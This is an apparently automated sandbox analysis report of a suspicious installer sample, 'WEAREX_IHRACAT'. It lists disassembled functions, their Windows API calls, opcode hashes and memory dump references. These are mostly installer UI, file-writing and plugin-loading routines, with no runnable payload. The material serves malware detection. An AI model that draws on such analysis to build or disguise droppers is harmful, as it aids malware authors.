Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user\AppData\Local\Temp\nseB6DC.tmp$C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll
API String ID: 1453599865-487296252
Opcode ID: d7acd23ebc5546f64b4a77e0e3a0c197fda55befd460687716db138643d5bdd5
Instruction ID: 3c80ca3e5ebaf71c7783d8616bec5f928a83f38c30d871a0748769bbcf272298
Opcode Fuzzy Hash: d7acd23ebc5546f64b4a77e0e3a0c197fda55befd460687716db138643d5bdd5
Instruction Fuzzy Hash: 8B019271A44204BED700AFA0DE89EAF7278EB50319F20053BF502B61D2D7BC5E41DA2E

Function 00404194 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B1
GetSysColor.USER32(00000000), ref: 004041CD
SetTextColor.GDI32(?,00000000), ref: 004041D9
SetBkMode.GDI32(?,?), ref: 004041E5
GetSysColor.USER32(?), ref: 004041F8
SetBkColor.GDI32(?,?), ref: 00404208
DeleteObject.GDI32(?), ref: 00404222
CreateBrushIndirect.GDI32(?), ref: 0040422C

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 87ec7ba1b4d1524bc80d11c5e2deb64ad1684491122c805edd444a6dd702efce
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: 8521C6B1904744ABC7219F68DD08B4B7BF8AF40714F048A6DF996E22E0C738E944CB25

Function 1000248D Relevance: 10.6, APIs: 7, Instructions: 110COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 100024E1
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5

Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,752BFFC0,100011AA,?,00000000), ref: 1000131E

GlobalFree.KERNEL32(?), ref: 10002562
GlobalFree.KERNEL32(00000000), ref: 1000258B

Memory Dump Source

Source File: 00000000.00000002.2459321793.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2459293214.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459349894.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459378881.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_WEAREX_IHRACAT.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID:
API String ID: 2435812281-0
Opcode ID: 807ecd49f57fcdd2c1ed8b1de5a90652cdea8abff6875a4201383d0a7460da97
Instruction ID: c19482fd6b93636a14d77dfdabfb39ecfcb824cf15b2f076733b0032149e6b96
Opcode Fuzzy Hash: 807ecd49f57fcdd2c1ed8b1de5a90652cdea8abff6875a4201383d0a7460da97
Instruction Fuzzy Hash: B13104B1405A06EFF621DFA4CC9492BBBBCFB403D6722491AF6419216DCB319C50DF64

Function 004027B3 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402807
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402823
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285C
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 0040286E
GlobalFree.KERNEL32(00000000), ref: 00402875
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288D
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A1

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 611310103bc86221cecbdea3abc6fc0ade8ffeb63f35fc9d0fcc7b7ed7896cc3
Instruction ID: d8d6ca7fed8381a62db75c1a7eb0a932fa2c1c5e4fe23f3949340a0d5ba681c8
Opcode Fuzzy Hash: 611310103bc86221cecbdea3abc6fc0ade8ffeb63f35fc9d0fcc7b7ed7896cc3
Instruction Fuzzy Hash: 4031A072C04118BBDF10AFA5CE49DAF7E79EF09364F24023AF510762E0C6795E418BA9

Function 00405192 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D92,00000000,?), ref: 004051CA
lstrlenW.KERNEL32(00402D92,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D92,00000000), ref: 004051DA
lstrcatW.KERNEL32(004216B0,00402D92,00402D92,004216B0,00000000,00000000,00000000), ref: 004051ED
SetWindowTextW.USER32(004216B0,004216B0), ref: 004051FF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405225
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040523F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524D

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction ID: 4e820289f32981fa80bdc57a8535783694e00142cb9a6ac2a8905b2d060becfb
Opcode Fuzzy Hash: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction Fuzzy Hash: 9D219D31D00518BACB21AF95DD84ADFBFB8EF44350F14807AF904B62A0C7794A41DFA8

Function 00402D18 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402D33
GetTickCount.KERNEL32 ref: 00402D51
wsprintfW.USER32 ref: 00402D7F

Part of subcall function 00405192: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D92,00000000,?), ref: 004051CA
Part of subcall function 00405192: lstrlenW.KERNEL32(00402D92,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D92,00000000), ref: 004051DA
Part of subcall function 00405192: lstrcatW.KERNEL32(004216B0,00402D92,00402D92,004216B0,00000000,00000000,00000000), ref: 004051ED
Part of subcall function 00405192: SetWindowTextW.USER32(004216B0,004216B0), ref: 004051FF
Part of subcall function 00405192: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405225
Part of subcall function 00405192: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040523F
Part of subcall function 00405192: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524D

CreateDialogParamW.USER32(0000006F,00000000,00402C7D,00000000), ref: 00402DA3
ShowWindow.USER32(00000000,00000005), ref: 00402DB1

Part of subcall function 00402CFC: MulDiv.KERNEL32(00000000,00000064,0000521D), ref: 00402D11

Strings

... %d%%, xrefs: 00402D79

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 201e492ae77eb6b4c8df967ba73cc99fc00f9962e74671e1787f0dc67121c729
Instruction ID: 06dbfd79dbb9e8c2a0b606a1608badac8d0e42e3594422c28149bacc2d6aa5cf
Opcode Fuzzy Hash: 201e492ae77eb6b4c8df967ba73cc99fc00f9962e74671e1787f0dc67121c729
Instruction Fuzzy Hash: AD016131945225EBD762AB60AE4DAEB7B68EF01700F14407BF845B11E1C7FC9D41CA9E

Function 00404A5C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A77
GetMessagePos.USER32 ref: 00404A7F
ScreenToClient.USER32(?,?), ref: 00404A99
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAB
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD1

Strings

f, xrefs: 00404AAD

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: 7a49535742b5819285e47484f8d523d0bdd0b2e8bbf2cce5393fd09457f71794
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 0C014C71E40219BADB00DBA4DD85BFEBBBCAB54711F10412ABB11B61C0D6B4AA018BA5

Function 00402C7D Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9B
wsprintfW.USER32 ref: 00402CCF
SetWindowTextW.USER32(?,?), ref: 00402CDF
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF1

Strings

unpacking data: %d%%, xrefs: 00402CBD, 00402CCD
verifying installer: %d%%, xrefs: 00402CC4

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 136f1b4430288e91b1c5e5d445282cac07027c6a7f734139abdfd1d0af9ea11d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: C6F0127050410DABEF209F51DD49BAE3768BB00309F00843AFA16A51D0DBB95959DF59

Function 100022EB Relevance: 9.1, APIs: 6, Instructions: 134memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 10002391
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100023B2
CLSIDFromString.OLE32(?,00000000), ref: 100023BF
GlobalAlloc.KERNEL32(00000040), ref: 100023DD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
GlobalFree.KERNEL32(00000000), ref: 1000241A

Memory Dump Source

Source File: 00000000.00000002.2459321793.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2459293214.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459349894.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459378881.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
String ID:
API String ID: 3579998418-0
Opcode ID: 0bd45a36e3cf99e0ea36bafafcae9cc199b85f388ee9b7374409e80a5249356b
Instruction ID: d73bd5747cd055fead3767a403609930cc226346ea8e15a1dc9f8d9e67d80713
Opcode Fuzzy Hash: 0bd45a36e3cf99e0ea36bafafcae9cc199b85f388ee9b7374409e80a5249356b
Instruction Fuzzy Hash: AC419FB4504706EFF324DF249C94A6A77ECFB443D0F11892DF98AC6199CB34AA94CB61

Function 10001617 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002167,?,00000808), ref: 10001636
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
GlobalFree.KERNEL32(00000000), ref: 1000165A

Memory Dump Source

Source File: 00000000.00000002.2459321793.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2459293214.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459349894.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459378881.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_WEAREX_IHRACAT.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 20e8b1827cccb196a4384b85b1888191a2ee07b8269210f181c49f722f18a9f7
Instruction ID: d276e06630420d280db9d3d8713a95f95ab602fc4af0e03377fdcd968a8fda9f
Opcode Fuzzy Hash: 20e8b1827cccb196a4384b85b1888191a2ee07b8269210f181c49f722f18a9f7
Instruction Fuzzy Hash: B9F0ECB2A04104AFD701DFE4EE88CEEB7BCEB08301B100466F601F61A0D674AD018B39

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: de03f2b16b471deeb75989a648f0339490e64a22e039540fc3332c447546e770
Instruction ID: 44c615356a1505882b51123a4f434c8e94683597a24d5f064f7d9f3cb87cb74c
Opcode Fuzzy Hash: de03f2b16b471deeb75989a648f0339490e64a22e039540fc3332c447546e770
Instruction Fuzzy Hash: 25012630948280AFE7006BB0AE4BB9A7F74EF95305F104479F145B62E2C37810009B6E

Function 00404976 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A07
wsprintfW.USER32 ref: 00404A10
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A23

Strings

%u.%u%s%s, xrefs: 004049F1

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction ID: 11a56ec29d8e774b63c5a31ca8dd146b3e369a93441477fc7d09fda37b012288
Opcode Fuzzy Hash: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction Fuzzy Hash: 7011E273A002243BCB10A66D9C45EAF368D9BC6374F14423BFA69F61D1D9799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 9d438e6b5940c4dfeb703fc487ee7d8779a96f3a357671301b43fd1e281e0956
Instruction ID: 4e2ee5f0d92934ddef816e72561913b102c535ce611946f90f9b6b3ff638ae8b
